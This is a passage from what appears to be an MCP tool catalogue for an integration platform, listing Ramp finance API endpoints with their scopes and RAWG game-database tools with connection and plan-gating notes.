/api/v1/ramp/developer/v1/accounting/inventory-item/options/{option_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_ramp_field_options_by_field_option_id (write) — Patch ramp field option resource via PATCH /developer/v1/accounting/ramp-field-options/{field_option_id} PATCH /api/v1/ramp/developer/v1/accounting/ramp-field-options/{field_option_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_ramp_fields_by_field_id (write) — Patch ramp field resource via PATCH /developer/v1/accounting/ramp-fields/{field_id} PATCH /api/v1/ramp/developer/v1/accounting/ramp-fields/{field_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_tax_code (write) — Patch tax code field resource via PATCH /developer/v1/accounting/tax/code PATCH /api/v1/ramp/developer/v1/accounting/tax/code. Scopes: accounting:write. ramp_patch_developer_v1_accounting_tax_code_options_by_option_id (write) — Patch tax code field option resource via PATCH /developer/v1/accounting/tax/code/options/{option_id} PATCH /api/v1/ramp/developer/v1/accounting/tax/code/options/{option_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_tax_rates_by_tax_rate_id (write) — Patch tax rate detail resource via PATCH /developer/v1/accounting/tax/rates/{tax_rate_id} PATCH /api/v1/ramp/developer/v1/accounting/tax/rates/{tax_rate_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_vendors_by_vendor_id (write) — Patch accounting vendor resource via PATCH /developer/v1/accounting/vendors/{vendor_id} PATCH /api/v1/ramp/developer/v1/accounting/vendors/{vendor_id}. Scopes: accounting:write. ramp_patch_developer_v1_bills_by_bill_id (write) — Patch bill resource via PATCH /developer/v1/bills/{bill_id} PATCH /api/v1/ramp/developer/v1/bills/{bill_id}. Scopes: bills:write. ramp_patch_developer_v1_bills_drafts_by_draft_bill_id (write) — Patch draft bill resource via PATCH /developer/v1/bills/drafts/{draft_bill_id} PATCH /api/v1/ramp/developer/v1/bills/drafts/{draft_bill_id}. Scopes: bills:write. ramp_patch_developer_v1_blank_canvas_approvals_by_approval_trigger_instance_id_metadata (write) — Patch blank canvas approval external approval metadata resource via PATCH /developer/v1/blank-canvas-approvals/{approval_trigger_instance_id}/metadata PATCH /api/v1/ramp/developer/v1/blank-canvas-approvals/{approval_trigger_instance_id}/metadata. Scopes: blank_canvas:write. ramp_patch_developer_v1_cards_physical_by_card_id (write) — Patch physical card resource via PATCH /developer/v1/cards/physical/{card_id} PATCH /api/v1/ramp/developer/v1/cards/physical/{card_id}. Scopes: cards:write. ramp_patch_developer_v1_custom_records_configure_custom_tables_by_custom_table_name_columns_by_column_name (write) — Patch dev api rename custom table column via PATCH /developer/v1/custom-records/configure/custom-tables/{custom_table_name}/columns/{column_name} PATCH /api/v1/ramp/developer/v1/custom-records/configure/custom-tables/{custom_table_name}/columns/{column_name}. Scopes: custom_records:write. ramp_patch_developer_v1_custom_records_configure_native_tables_by_native_table_name_columns_by_column_name (write) — Patch dev api rename native table column via PATCH /developer/v1/custom-records/configure/native-tables/{native_table_name}/columns/{column_name} PATCH /api/v1/ramp/developer/v1/custom-records/configure/native-tables/{native_table_name}/columns/{column_name}. Scopes: custom_records:write. ramp_patch_developer_v1_custom_records_custom_tables_by_custom_table_name_rows_by_row_id (write) — Patch dev api change custom row external key via PATCH /developer/v1/custom-records/custom-tables/{custom_table_name}/rows/{row_id} PATCH /api/v1/ramp/developer/v1/custom-records/custom-tables/{custom_table_name}/rows/{row_id}. Scopes: custom_records:write. ramp_patch_developer_v1_custom_records_matrix_tables_by_table_name_columns_by_column_name (write) — Patch dev api rename matrix column via PATCH /developer/v1/custom-records/matrix-tables/{table_name}/columns/{column_name} PATCH /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/columns/{column_name}. Scopes: custom_records:write. ramp_patch_developer_v1_departments_by_department_id (write) — Patch department resource via PATCH /developer/v1/departments/{department_id} PATCH /api/v1/ramp/developer/v1/departments/{department_id}. Scopes: departments:write. ramp_patch_developer_v1_funds_by_fund_id (write) — Patch fund update via PATCH /developer/v1/funds/{fund_id} PATCH /api/v1/ramp/developer/v1/funds/{fund_id}. Scopes: funds:write. ramp_patch_developer_v1_locations_by_location_id (write) — Patch location single resource via PATCH /developer/v1/locations/{location_id} PATCH /api/v1/ramp/developer/v1/locations/{location_id}. Scopes: locations:write. ramp_patch_developer_v1_purchase_orders_by_purchase_order_id (write) — Patch purchase order single resource via PATCH /developer/v1/purchase-orders/{purchase_order_id} PATCH /api/v1/ramp/developer/v1/purchase-orders/{purchase_order_id}. Scopes: purchase_orders:write. ramp_patch_developer_v1_purchase_orders_by_purchase_order_id_line_items_by_line_item_id (write) — Patch purchase order line item single resource via PATCH /developer/v1/purchase-orders/{purchase_order_id}/line-items/{line_item_id} PATCH /api/v1/ramp/developer/v1/purchase-orders/{purchase_order_id}/line-items/{line_item_id}. Scopes: purchase_orders:write. ramp_patch_developer_v1_transactions_by_transaction_id (write) — Patch transaction canonical update resource via PATCH /developer/v1/transactions/{transaction_id} PATCH /api/v1/ramp/developer/v1/transactions/{transaction_id}. Scopes: transactions:write. ramp_patch_developer_v1_users_by_user_id (write) — Patch user resource via PATCH /developer/v1/users/{user_id} PATCH /api/v1/ramp/developer/v1/users/{user_id}. Scopes: users:write. ramp_patch_developer_v1_users_by_user_id_deactivate (write) — Patch user deactivation resource via PATCH /developer/v1/users/{user_id}/deactivate PATCH /api/v1/ramp/developer/v1/users/{user_id}/deactivate. Scopes: users:write. ramp_patch_developer_v1_users_by_user_id_reactivate (write) — Patch user reactivation resource via PATCH /developer/v1/users/{user_id}/reactivate PATCH /api/v1/ramp/developer/v1/users/{user_id}/reactivate. Scopes: users:write. ramp_patch_developer_v1_vendors_agreements_by_agreement_id (write) — Patch vendor agreement resource via PATCH /developer/v1/vendors/agreements/{agreement_id} PATCH /api/v1/ramp/developer/v1/vendors/agreements/{agreement_id}. Scopes: vendors:write. ramp_patch_developer_v1_vendors_by_vendor_id (write) — Patch vendor resource via PATCH /developer/v1/vendors/{vendor_id} PATCH /api/v1/ramp/developer/v1/vendors/{vendor_id}. Scopes: vendors:write. ramp_post_developer_v1_accounting_accounts (write) — Post gl account list resource via POST /developer/v1/accounting/accounts POST /api/v1/ramp/developer/v1/accounting/accounts. Scopes: accounting:write. ramp_post_developer_v1_accounting_codings (write) — Post codings resource via POST /developer/v1/accounting/codings POST /api/v1/ramp/developer/v1/accounting/codings. Scopes: accounting:write. ramp_post_developer_v1_accounting_connection (write) — Post accounting connection resource via POST /developer/v1/accounting/connection POST /api/v1/ramp/developer/v1/accounting/connection. Scopes: accounting:write. ramp_post_developer_v1_accounting_connection_by_connection_id_reactivate (write) — Post reactivate connection resource via POST /developer/v1/accounting/connection/{connection_id}/reactivate POST /api/v1/ramp/developer/v1/accounting/connection/{connection_id}/reactivate. Scopes: accounting:write. ramp_post_developer_v1_accounting_connection_by_connection_id_ready_to_migrate (write) — Post accounting connection ready to migrate resource via POST /developer/v1/accounting/connection/{connection_id}/ready-to-migrate POST /api/v1/ramp/developer/v1/accounting/connection/{connection_id}/ready-to-migrate. Scopes: accounting:write. ramp_post_developer_v1_accounting_entities (write) — Post accounting entity list resource via POST /developer/v1/accounting/entities POST /api/v1/ramp/developer/v1/accounting/entities. Scopes: accounting:write. ramp_post_developer_v1_accounting_field_option_filter_rules (write) — Post field option filter rules list resource via POST /developer/v1/accounting/field-option-filter-rules POST /api/v1/ramp/developer/v1/accounting/field-option-filter-rules. Scopes: accounting:write. ramp_post_developer_v1_accounting_field_options (write) — Post custom field option list resource via POST /developer/v1/accounting/field-options POST /api/v1/ramp/developer/v1/accounting/field-options. Scopes: accounting:write. ramp_post_developer_v1_accounting_fields (write) — Post custom field list resource via POST /developer/v1/accounting/fields POST /api/v1/ramp/developer/v1/accounting/fields. Scopes: accounting:write. ramp_post_developer_v1_accounting_inventory_item (write) — Post inventory item field list resource via POST /developer/v1/accounting/inventory-item POST /api/v1/ramp/developer/v1/accounting/inventory-item. Scopes: accounting:write. ramp_post_developer_v1_accounting_inventory_item_options (write) — Post inventory item field options list resource via POST /developer/v1/accounting/inventory-item/options POST /api/v1/ramp/developer/v1/accounting/inventory-item/options. Scopes: accounting:write. ramp_post_developer_v1_accounting_ramp_field_options (write) — Post ramp field option list resource via POST /developer/v1/accounting/ramp-field-options POST /api/v1/ramp/developer/v1/accounting/ramp-field-options. Scopes: accounting:write. ramp_post_developer_v1_accounting_ramp_fields (write) — Post ramp field list resource via POST /developer/v1/accounting/ramp-fields POST /api/v1/ramp/developer/v1/accounting/ramp-fields. Scopes: accounting:write. ramp_post_developer_v1_accounting_ready_to_sync (write) — Post ready to sync resource via POST /developer/v1/accounting/ready-to-sync POST /api/v1/ramp/developer/v1/accounting/ready-to-sync. Scopes: accounting:write. ramp_post_developer_v1_accounting_syncs (write) — Post sync list resource via POST /developer/v1/accounting/syncs POST /api/v1/ramp/developer/v1/accounting/syncs. Scopes: accounting:write. ramp_post_developer_v1_accounting_tax_code (write) — Post tax code field resource via POST /developer/v1/accounting/tax/code POST /api/v1/ramp/developer/v1/accounting/tax/code. Scopes: accounting:write. ramp_post_developer_v1_accounting_tax_code_options (write) — Post tax code field options list resource via POST /developer/v1/accounting/tax/code/options POST /api/v1/ramp/developer/v1/accounting/tax/code/options. Scopes: accounting:write. ramp_post_developer_v1_accounting_tax_rates (write) — Post tax code rates list resource via POST /developer/v1/accounting/tax/rates POST /api/v1/ramp/developer/v1/accounting/tax/rates. Scopes: accounting:write. ramp_post_developer_v1_accounting_vendors (write) — Post accounting vendor list resource via POST /developer/v1/accounting/vendors POST /api/v1/ramp/developer/v1/accounting/vendors. Scopes: accounting:write. ramp_post_developer_v1_applications (write) — Post application resource via POST /developer/v1/applications POST /api/v1/ramp/developer/v1/applications. Scopes: none. ramp_post_developer_v1_bills (write) — Post bill list with pagination via POST /developer/v1/bills POST /api/v1/ramp/developer/v1/bills. Scopes: bills:write. ramp_post_developer_v1_bills_by_bill_id_hold (write) — Post bill hold resource via POST /developer/v1/bills/{bill_id}/hold POST /api/v1/ramp/developer/v1/bills/{bill_id}/hold. Scopes: bills:write. ramp_post_developer_v1_bills_by_bill_id_release (write) — Post bill release hold resource via POST /developer/v1/bills/{bill_id}/release POST /api/v1/ramp/developer/v1/bills/{bill_id}/release. Scopes: bills:write. ramp_post_developer_v1_bills_drafts (write) — Post draft bill list with pagination via POST /developer/v1/bills/drafts POST /api/v1/ramp/developer/v1/bills/drafts. Scopes: bills:write. ramp_post_developer_v1_bills_drafts_by_draft_bill_id_submit (write) — Post draft bill submit resource via POST /developer/v1/bills/drafts/{draft_bill_id}/submit POST /api/v1/ramp/developer/v1/bills/drafts/{draft_bill_id}/submit. Scopes: bills:write. ramp_post_developer_v1_blank_canvas_approvals_by_approval_trigger_instance_id (write) — Post blank canvas approval resource via POST /developer/v1/blank-canvas-approvals/{approval_trigger_instance_id} POST /api/v1/ramp/developer/v1/blank-canvas-approvals/{approval_trigger_instance_id}. Scopes: blank_canvas:write. ramp_post_developer_v1_cards_physical (write) — Post physical card list with pagination via POST /developer/v1/cards/physical POST /api/v1/ramp/developer/v1/cards/physical. Scopes: cards:write. ramp_post_developer_v1_cards_physical_by_card_id_suspension (write) — Post card suspension resource via POST /developer/v1/cards/physical/{card_id}/suspension POST /api/v1/ramp/developer/v1/cards/physical/{card_id}/suspension. Scopes: cards:write. ramp_post_developer_v1_cards_vault (write) — Post card vault creation via POST /developer/v1/cards/vault POST /api/v1/ramp/developer/v1/cards/vault. Scopes: cards:read_vault, limits:write. ramp_post_developer_v1_comments_by_object_type_by_object_id (write) — Post comments resource via POST /developer/v1/comments/{object_type}/{object_id} POST /api/v1/ramp/developer/v1/comments/{object_type}/{object_id}. Scopes: none. ramp_post_developer_v1_custom_records_configure_custom_tables (write) — Post dev api configure custom tables via POST /developer/v1/custom-records/configure/custom-tables POST /api/v1/ramp/developer/v1/custom-records/configure/custom-tables. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_configure_custom_tables_by_custom_table_name_columns (write) — Post dev api configure custom table columns via POST /developer/v1/custom-records/configure/custom-tables/{custom_table_name}/columns POST /api/v1/ramp/developer/v1/custom-records/configure/custom-tables/{custom_table_name}/columns. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_configure_native_tables (write) — Post dev api configure native tables via POST /developer/v1/custom-records/configure/native-tables POST /api/v1/ramp/developer/v1/custom-records/configure/native-tables. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_configure_native_tables_by_native_table_name_columns (write) — Post dev api configure native table columns via POST /developer/v1/custom-records/configure/native-tables/{native_table_name}/columns POST /api/v1/ramp/developer/v1/custom-records/configure/native-tables/{native_table_name}/columns. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_custom_tables_by_table_name_rows_append (write) — Post dev api append custom row cells via POST /developer/v1/custom-records/custom-tables/{table_name}/rows/-/append POST /api/v1/ramp/developer/v1/custom-records/custom-tables/{table_name}/rows/-/append. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_custom_tables_by_table_name_rows_remove (write) — Post dev api remove custom row cells via POST /developer/v1/custom-records/custom-tables/{table_name}/rows/-/remove POST /api/v1/ramp/developer/v1/custom-records/custom-tables/{table_name}/rows/-/remove. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_matrix_tables (write) — Post dev api matrix tables via POST /developer/v1/custom-records/matrix-tables POST /api/v1/ramp/developer/v1/custom-records/matrix-tables. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_matrix_tables_by_table_name_columns (write) — Post dev api add matrix result column via POST /developer/v1/custom-records/matrix-tables/{table_name}/columns POST /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/columns. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_matrix_tables_by_table_name_list_rows (write) — Post dev api matrix list rows via POST /developer/v1/custom-records/matrix-tables/{table_name}/list-rows POST /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/list-rows. Scopes: custom_records:read. ramp_post_developer_v1_custom_records_matrix_tables_by_table_name_rename (write) — Post dev api rename matrix table via POST /developer/v1/custom-records/matrix-tables/{table_name}/rename POST /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/rename. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_matrix_tables_by_table_name_rows_append (write) — Post dev api matrix append cells via POST /developer/v1/custom-records/matrix-tables/{table_name}/rows/-/append POST /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/rows/-/append. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_matrix_tables_by_table_name_rows_remove (write) — Post dev api matrix remove cells via POST /developer/v1/custom-records/matrix-tables/{table_name}/rows/-/remove POST /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/rows/-/remove. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_native_tables_by_native_table_name_rows_append (write) — Post dev api append native row cells via POST /developer/v1/custom-records/native-tables/{native_table_name}/rows/-/append POST /api/v1/ramp/developer/v1/custom-records/native-tables/{native_table_name}/rows/-/append. Scopes: custom_records:write. ramp_post_developer_v1_custom_records_native_tables_by_native_table_name_rows_remove (write) — Post dev api remove native row cells via POST /developer/v1/custom-records/native-tables/{native_table_name}/rows/-/remove POST /api/v1/ramp/developer/v1/custom-records/native-tables/{native_table_name}/rows/-/remove. Scopes: custom_records:write. ramp_post_developer_v1_departments (write) — Post department list with pagination via POST /developer/v1/departments POST /api/v1/ramp/developer/v1/departments. Scopes: departments:write. ramp_post_developer_v1_embedded_cards_by_card_id_embed (write) — Post ramp embedded card resource via POST /developer/v1/embedded/cards/{card_id}/embed POST /api/v1/ramp/developer/v1/embedded/cards/{card_id}/embed. Scopes: embedded_cards:write. ramp_post_developer_v1_funds (write) — Post fund creation via POST /developer/v1/funds POST /api/v1/ramp/developer/v1/funds. Scopes: funds:write. ramp_post_developer_v1_funds_by_fund_id_members (write) — Post fund add members via POST /developer/v1/funds/{fund_id}/members POST /api/v1/ramp/developer/v1/funds/{fund_id}/members. Scopes: funds:write. ramp_post_developer_v1_funds_by_fund_id_members_by_user_id_suspension (write) — Post fund member suspension via POST /developer/v1/funds/{fund_id}/members/{user_id}/suspension POST /api/v1/ramp/developer/v1/funds/{fund_id}/members/{user_id}/suspension. Scopes: funds:write. ramp_post_developer_v1_funds_by_fund_id_suspension (write) — Post fund suspension via POST /developer/v1/funds/{fund_id}/suspension POST /api/v1/ramp/developer/v1/funds/{fund_id}/suspension. Scopes: funds:write. ramp_post_developer_v1_item_receipts (write) — Post item receipts resource via POST /developer/v1/item-receipts POST /api/v1/ramp/developer/v1/item-receipts. Scopes: item_receipts:write. ramp_post_developer_v1_locations (write) — Post location list resource via POST /developer/v1/locations POST /api/v1/ramp/developer/v1/locations. Scopes: locations:write. ramp_post_developer_v1_memos_by_transaction_id (write) — Post memo create single resource via POST /developer/v1/memos/{transaction_id} POST /api/v1/ramp/developer/v1/memos/{transaction_id}. Scopes: memos:write. ramp_post_developer_v1_purchase_orders (write) — Post purchase orders resource via POST /developer/v1/purchase-orders POST /api/v1/ramp/developer/v1/purchase-orders. Scopes: purchase_orders:write. ramp_post_developer_v1_purchase_orders_by_purchase_order_id_archive (write) — Post purchase order archive resource via POST /developer/v1/purchase-orders/{purchase_order_id}/archive POST /api/v1/ramp/developer/v1/purchase-orders/{purchase_order_id}/archive. Scopes: purchase_orders:write. ramp_post_developer_v1_purchase_orders_by_purchase_order_id_line_items (write) — Post purchase order line items resource via POST /developer/v1/purchase-orders/{purchase_order_id}/line-items POST /api/v1/ramp/developer/v1/purchase-orders/{purchase_order_id}/line-items. Scopes: purchase_orders:write. ramp_post_developer_v1_receipt_integrations_opt_out (write) — Post receipt integration opted out emails list resource via POST /developer/v1/receipt-integrations/opt-out POST /api/v1/ramp/developer/v1/receipt-integrations/opt-out. Scopes: receipt_integrations:write. ramp_post_developer_v1_reimbursements_mileage (write) — Post mileage reimbursement resource via POST /developer/v1/reimbursements/mileage POST /api/v1/ramp/developer/v1/reimbursements/mileage. Scopes: reimbursements:write. ramp_post_developer_v1_spend_programs (write) — Post spend program resource via POST /developer/v1/spend-programs POST /api/v1/ramp/developer/v1/spend-programs. Scopes: spend_programs:write. ramp_post_developer_v1_token (write) — Post token via POST /developer/v1/token POST /api/v1/ramp/developer/v1/token. Scopes: none. ramp_post_developer_v1_token_revoke (write) — Post revoke token via POST /developer/v1/token/revoke POST /api/v1/ramp/developer/v1/token/revoke. Scopes: none. ramp_post_developer_v1_users_by_user_id_invite (write) — Post user invite action resource via POST /developer/v1/users/{user_id}/invite POST /api/v1/ramp/developer/v1/users/{user_id}/invite. Scopes: users:write. ramp_post_developer_v1_users_deferred (write) — Post user creation deferred task via POST /developer/v1/users/deferred POST /api/v1/ramp/developer/v1/users/deferred. Scopes: users:write. ramp_post_developer_v1_vault_cards (write) — Post card vault creation deprecated via POST /developer/v1/vault/cards POST /api/v1/ramp/developer/v1/vault/cards. Scopes: cards:read_vault, limits:write. ramp_post_developer_v1_vendors (write) — Post vendor list resource via POST /developer/v1/vendors POST /api/v1/ramp/developer/v1/vendors. Scopes: vendors:write. ramp_post_developer_v1_vendors_agreements (write) — Post vendor agreement list resource via POST /developer/v1/vendors/agreements POST /api/v1/ramp/developer/v1/vendors/agreements. Scopes: vendors:read. ramp_post_developer_v1_vendors_agreements_by_agreement_id_link (write) — Post vendor agreement link resource via POST /developer/v1/vendors/agreements/{agreement_id}/link POST /api/v1/ramp/developer/v1/vendors/agreements/{agreement_id}/link. Scopes: vendors:write. ramp_post_developer_v1_vendors_agreements_by_agreement_id_link_spend_request (write) — Post vendor agreement spend request link resource via POST /developer/v1/vendors/agreements/{agreement_id}/link-spend-request POST /api/v1/ramp/developer/v1/vendors/agreements/{agreement_id}/link-spend-request. Scopes: vendors:write. ramp_post_developer_v1_vendors_by_vendor_id_accounts_by_bank_account_id_archive (write) — Post vendor bank account archive resource via POST /developer/v1/vendors/{vendor_id}/accounts/{bank_account_id}/archive POST /api/v1/ramp/developer/v1/vendors/{vendor_id}/accounts/{bank_account_id}/archive. Scopes: vendors:write. ramp_post_developer_v1_vendors_by_vendor_id_agreements (write) — Post vendor agreement create resource via POST /developer/v1/vendors/{vendor_id}/agreements POST /api/v1/ramp/developer/v1/vendors/{vendor_id}/agreements. Scopes: vendors:write. ramp_post_developer_v1_vendors_by_vendor_id_contacts (write) — Post vendor contact list resource via POST /developer/v1/vendors/{vendor_id}/contacts POST /api/v1/ramp/developer/v1/vendors/{vendor_id}/contacts. Scopes: vendors:write. ramp_post_developer_v1_vendors_by_vendor_id_hold (write) — Post vendor hold resource via POST /developer/v1/vendors/{vendor_id}/hold POST /api/v1/ramp/developer/v1/vendors/{vendor_id}/hold. Scopes: vendors:write. ramp_post_developer_v1_vendors_by_vendor_id_release (write) — Post vendor hold release resource via POST /developer/v1/vendors/{vendor_id}/release POST /api/v1/ramp/developer/v1/vendors/{vendor_id}/release. Scopes: vendors:write. ramp_post_developer_v1_vendors_by_vendor_id_update_bank_accounts (write) — Post vendor bank account update resource via POST /developer/v1/vendors/{vendor_id}/update-bank-accounts POST /api/v1/ramp/developer/v1/vendors/{vendor_id}/update-bank-accounts. Scopes: vendors:write. ramp_post_developer_v1_webhooks (write) — Post outbound webhook subscription resource via POST /developer/v1/webhooks POST /api/v1/ramp/developer/v1/webhooks. Scopes: none. ramp_post_developer_v1_webhooks_by_webhook_id_verify (write) — Post outbound webhook subscription verify resource via POST /developer/v1/webhooks/{webhook_id}/verify POST /api/v1/ramp/developer/v1/webhooks/{webhook_id}/verify. Scopes: none. ramp_post_developer_v1_webhooks_mock_webhook_event (write) — Post mock outbound webhook event resource via POST /developer/v1/webhooks/mock-webhook-event POST /api/v1/ramp/developer/v1/webhooks/mock-webhook-event. Scopes: none. ramp_put_developer_v1_accounting_field_options_by_field_option_id (write) — Put custom field option resource via PUT /developer/v1/accounting/field-options/{field_option_id} PUT /api/v1/ramp/developer/v1/accounting/field-options/{field_option_id}. Scopes: accounting:write. ramp_put_developer_v1_custom_records_custom_tables_by_custom_table_name_rows (write) — Put dev api custom row via PUT /developer/v1/custom-records/custom-tables/{custom_table_name}/rows PUT /api/v1/ramp/developer/v1/custom-records/custom-tables/{custom_table_name}/rows. Scopes: custom_records:write. ramp_put_developer_v1_custom_records_matrix_tables_by_table_name_rows (write) — Put dev api matrix put rows via PUT /developer/v1/custom-records/matrix-tables/{table_name}/rows PUT /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/rows. Scopes: custom_records:write. ramp_put_developer_v1_custom_records_native_tables_by_native_table_name_rows (write) — Put dev api native row via PUT /developer/v1/custom-records/native-tables/{native_table_name}/rows PUT /api/v1/ramp/developer/v1/custom-records/native-tables/{native_table_name}/rows. Scopes: custom_records:write. ================================================================================ ## RAWG URL: https://www.agenticfabriq.com/integrations/rawg Section: Integrated Tools RAWG — 30 MCP tools Provider key: rawg. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. rawg_get_creator_roles (creators) — List the roles a game creator can hold -- the positions RAWG tracks on a development team, such as director, producer, composer or writer. Paginated. These are the values that appear on a creator's `positions` and on a development-team entry, so this is the vocabulary to read before filtering by one. GET /api/v1/rawg/creator-roles. Scopes: api. rawg_get_creators (creators) — List the people RAWG tracks as game creators -- designers, directors, composers, writers and the rest -- with each one's id, slug, image, positions and the number of games they are credited on. Paginated, and very large (about 29,700 people), so page rather than expecting one call to enumerate it. GET /api/v1/rawg/creators. Scopes: api. rawg_get_creators_by_id (creators) — Get one game creator by numeric id or slug: their name, image, description, the positions they hold, how many games they are credited on and their Reddit and Twitter links where RAWG has them. GET /api/v1/rawg/creators/{id}. Scopes: api. rawg_get_developers (developers) — List the development studios RAWG tracks, with each one's id, slug, game count and a background image. Paginated, and very large (about 465,000 studios), so this is a paging surface rather than a directory to download. GET /api/v1/rawg/developers. Scopes: api. rawg_get_developers_by_id (developers) — Get one development studio by numeric id or slug: its name, description, game count and background image. GET /api/v1/rawg/developers/{id}. Scopes: api. rawg_get_games (games) — The main games query: search RAWG's catalogue of about 900,000 games and filter it by platform, parent platform, store, developer, publisher, genre, tag, creator, release-date range, update-date range, platform count and Metacritic score, with ordering and paging. Each result carries the game's id, slug, name, release date, rating, Metacritic score, platforms, stores, genres, tags, ESRB rating and cover image. This is the route to resolve a game's id from its name before calling any of the per-game tools. GET /api/v1/rawg/games. Scopes: api. rawg_get_games_by_game_pk_additions (games) — List the additions to a game -- its DLC, expansions and alternative editions -- as full game records. Paginated. The inverse of the parent-games tool. GET /api/v1/rawg/games/{game_pk}/additions. Scopes: api. rawg_get_games_by_game_pk_development_team (games) — List the people credited on a game, each with their id, slug, image, the positions they held on it and the number of games they are credited on overall. Paginated and orderable. GET /api/v1/rawg/games/{game_pk}/development-team. Scopes: api. rawg_get_games_by_game_pk_game_series (games) — List the other games RAWG places in the same series as this one, as full game records. Paginated. GET /api/v1/rawg/games/{game_pk}/game-series. Scopes: api. rawg_get_games_by_game_pk_parent_games (games) — List the parent games of a DLC, expansion or edition -- the base games it belongs to -- as full game records. Empty for a base game. The inverse of the additions tool. GET /api/v1/rawg/games/{game_pk}/parent-games. Scopes: api. rawg_get_games_by_game_pk_screenshots (games) — List a game's screenshots, each with its image URL, dimensions and whether RAWG flags it as deleted. Paginated and orderable. GET /api/v1/rawg/games/{game_pk}/screenshots. Scopes: api. rawg_get_games_by_game_pk_stores (games) — List the store links for a game -- which storefronts carry it and the URL of each listing, keyed by RAWG's store ids. Paginated and orderable. Free-tier keys reach this (measured 2026-09-17: 200 with five store links for Grand Theft Auto V), despite the wave brief listing it as plan-gated. GET /api/v1/rawg/games/{game_pk}/stores. Scopes: api. rawg_get_games_by_id (games) — Get one game by numeric id or slug, in full: description, release date, ratings and rating breakdown, Metacritic score and per-platform Metacritic links, playtime, platforms and their requirements, stores, developers, publishers, genres, tags, ESRB rating, Reddit and Metacritic URLs, and the counts of its additions, parent games, series entries and screenshots. Much richer than the same game's row in a list response. GET /api/v1/rawg/games/{id}. Scopes: api. rawg_get_games_by_id_achievements (games) — List a game's achievements, each with its name, description, image and the percentage of players who have unlocked it. Paginated. GET /api/v1/rawg/games/{id}/achievements. Scopes: api. rawg_get_games_by_id_movies (games) — List a game's trailers and video clips, each with a preview image and the video files RAWG holds. Paginated. Free-tier keys reach this (measured 2026-09-17: 200 with eight trailers for Grand Theft Auto V), despite the wave brief listing it as plan-gated. GET /api/v1/rawg/games/{id}/movies. Scopes: api. rawg_get_games_by_id_reddit (games) — List the Reddit posts RAWG has collected about a game, each with its title, text, author, creation date, score, comment count and permalink. Paginated. GET /api/v1/rawg/games/{id}/reddit. Scopes: api. rawg_get_games_by_id_suggested (games) — List the games RAWG suggests as similar to this one, as full game records. Paginated. REQUIRES A RAWG BUSINESS PLAN: on a free key this route answers 401 with an EMPTY body (measured 2026-09-17) even though the key itself is valid -- the response still carries the `api-user` header that identifies the account, which is how a plan refusal is told apart from a bad key. Upgrade the RAWG plan rather than replacing the key. GET /api/v1/rawg/games/{id}/suggested. Scopes: api. rawg_get_games_by_id_twitch (games) — List the Twitch streams RAWG has collected for a game, each with its title, description, creation and publication dates, thumbnail, view count and language. Paginated. REQUIRES A RAWG BUSINESS PLAN: on a free key this route answers 401 with an EMPTY body (measured 2026-09-17) even though the key itself is valid -- the response still carries the `api-user` header that identifies the account, which is how a plan refusal is told apart from a bad key. Upgrade the RAWG plan rather than replacing the key. GET /api/v1/rawg/games/{id}/twitch. Scopes: api. rawg_get_games_by_id_youtube (games) — List the YouTube videos RAWG has collected for a game, each with its title, description, channel, thumbnails, view, like, dislike and comment counts and publication date. Paginated. REQUIRES A RAWG BUSINESS PLAN: on a free key this route answers 401 with an EMPTY body (measured 2026-09-17) even though the key itself is valid -- the response still carries the `api-user` header that identifies the account, which is how a plan refusal is told apart from a bad key. Upgrade the RAWG plan rather than replacing the key. GET /api/v1/rawg/games/{id}/youtube. Scopes: api. rawg_get_genres (genres) — List RAWG's 19 genres, each with its id, slug, game count and a few representative games. The vocabulary to read before filtering a games query by genre. GET /api/v1/rawg/genres. Scopes: api. rawg_get_genres_by_id (genres) — Get one genre by numeric id or slug: its name, description, game count and background image. GET /api/v1/rawg/genres/{id}. Scopes: api. rawg_get_platforms (platforms) — List the 51 gaming platforms RAWG tracks -- individual consoles, handhelds, PC and mobile operating systems -- each with its id, slug, release year range, game count and a few representative games. Paginated and orderable. GET /api/v1/rawg/platforms. Scopes: api. rawg_get_platforms_by_id (platforms) — Get one platform by numeric id or slug: its name, description, release year range, game count and background image. GET /api/v1/rawg/platforms/{id}. Scopes: api. rawg_get_platforms_lists_parents (platforms) — List the 14 parent platforms, each with the individual platforms grouped under it. For instance, for PS2 and PS4 the parent platform is PlayStation. This is the vocabulary behind the `parent_platforms` filter on the games query, and the route this integration probes when a key is pasted -- it is free, unmetered and returns the same small list for every account. GET /api/v1/rawg/platforms/lists/parents. Scopes: api. rawg_get_publishers (publishers) — List the game publishers RAWG tracks, each with its id, slug, game count and background image. Paginated, and large (about 91,000 publishers). GET /api/v1/rawg/publishers. Scopes: api. rawg_get_publishers_by_id (publishers) — Get one publisher by numeric id or slug: its name, description, game count and background image. GET /api/v1/rawg/publishers/{id}. Scopes: api. rawg_get_stores (stores) — List the 10 storefronts RAWG tracks -- Steam, PlayStation Store, Xbox Store, App Store, GOG, Nintendo Store, Google Play, itch.io, Epic Games 